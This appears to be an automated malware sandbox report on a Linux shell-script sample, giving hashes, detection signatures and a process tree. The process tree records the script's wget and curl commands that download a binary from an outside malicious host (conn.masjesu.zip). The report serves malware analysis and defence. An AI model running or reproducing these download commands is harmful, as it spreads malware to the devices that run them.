Analysis
-
max time kernel
149s -
max time network
2s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
10-11-2024 01:01
Static task
static1
Behavioral task
behavioral1
Sample
208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh
-
Size
10KB
-
MD5
2408085a258a318bc587e649a5e777ad
-
SHA1
7d4f24886ae9a4e5b0a1ee3866a311e53a29506d
-
SHA256
208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537
-
SHA512
5f9ddc2e0b28f44731c0d27db88455b7154293933a0aaf1d0096344f618fe40fbd5ff45ef4a56ba2a17d8e77f6de838690f88856fdbaaea0ff16dd63183bb7fa
-
SSDEEP
192:Iw+LtUc+r7f932KtEsj+nmtUc+r7f62KtEsU8:Iw+eHp+nJ18
Malware Config
Signatures
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curldescription ioc process File opened for reading /proc/cpuinfo curl -
Processes:
curldescription ioc process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh/tmp/208f87f17e8dcc98e856d3b7ce07c4aa005b9390fc6ee96c3fd1ba0ca38cd537.sh1⤵PID:648
-
/bin/rm/bin/rm bins.sh2⤵PID:650
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO2⤵
- System Network Configuration Discovery
PID:653 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/d6WMz7I6vaEJFeL7J0zRZyYZ3MouaVpSMO2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
PID:664